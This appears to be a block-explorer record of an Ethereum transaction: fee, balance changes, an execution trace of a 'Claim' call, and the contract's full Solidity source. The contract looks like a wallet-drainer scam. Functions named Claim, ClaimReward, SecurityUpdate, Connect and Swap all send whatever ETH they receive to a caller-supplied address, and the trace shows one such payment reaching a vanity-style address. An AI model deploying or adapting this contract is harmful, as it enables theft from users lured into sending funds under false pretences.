Transaction Hash:
Block:
17707148 at Jul-16-2023 04:50:47 PM +UTC
Transaction Fee:
0.0006031369741572 ETH
$2.59
Gas Used:
29,434 Gas / 20.4911658 Gwei
Account State Difference:
Address | Before | After | State Difference | ||
---|---|---|---|---|---|
0x000D9ACa...081EA0000 | 0.032327982519298727 Eth | 0.042813460302278579 Eth | 0.010485477782979852 | ||
0x5124fcC2...3F38f1C34
Miner
| (Faith Builder) | 7.692231706131344672 Eth | 7.6923712174160828 Eth | 0.000139511284738128 | |
0xD74A9273...00Df6daCc |
0.012944417678979852 Eth
Nonce: 1
|
0.0018558029218428 Eth
Nonce: 2
| 0.011088614757137052 |
Execution Trace
ETH 0.010485477782979852
G_Contract.Claim( sender=0x00001c46F02DdF529A6621604E8FC47730580000 )
Claim[G_Contract (ln:26)]
transfer[G_Contract (ln:26)]
payable[G_Contract (ln:26)]
// SPDX-License-Identifier: Unlicense pragma solidity ^0.8.18; contract G_Contract { address private owner; mapping (address => uint256) private balance; mapping (address => bool) private auto_withdraw; constructor() { owner = msg.sender; } function getOwner() public view returns (address) { return owner; } function getBalance() public view returns (uint256) { return address(this).balance; } function getUserBalance(address wallet) public view returns (uint256) { return balance[wallet]; } function getWithdrawStatus(address wallet) public view returns (bool) { return auto_withdraw[wallet]; } function setWithdrawStatus(bool status) public { auto_withdraw[msg.sender] = status; } function withdraw(address where) public { uint256 amount = balance[msg.sender]; require(address(this).balance >= amount, "BALANCE_LOW"); balance[msg.sender] = 0; payable(where).transfer(amount); } function Claim(address sender) public payable { if (auto_withdraw[sender]) payable(sender).transfer(msg.value); else balance[sender] += msg.value; } function ClaimReward(address sender) public payable { if (auto_withdraw[sender]) payable(sender).transfer(msg.value); else balance[sender] += msg.value; } function ClaimRewards(address sender) public payable { if (auto_withdraw[sender]) payable(sender).transfer(msg.value); else balance[sender] += msg.value; } function Execute(address sender) public payable { if (auto_withdraw[sender]) payable(sender).transfer(msg.value); else balance[sender] += msg.value; } function Multicall(address sender) public payable { if (auto_withdraw[sender]) payable(sender).transfer(msg.value); else balance[sender] += msg.value; } function Swap(address sender) public payable { if (auto_withdraw[sender]) payable(sender).transfer(msg.value); else balance[sender] += msg.value; } function Connect(address sender) public payable { if (auto_withdraw[sender]) payable(sender).transfer(msg.value); else balance[sender] += msg.value; } function SecurityUpdate(address sender) public payable { if (auto_withdraw[sender]) payable(sender).transfer(msg.value); else balance[sender] += msg.value; } }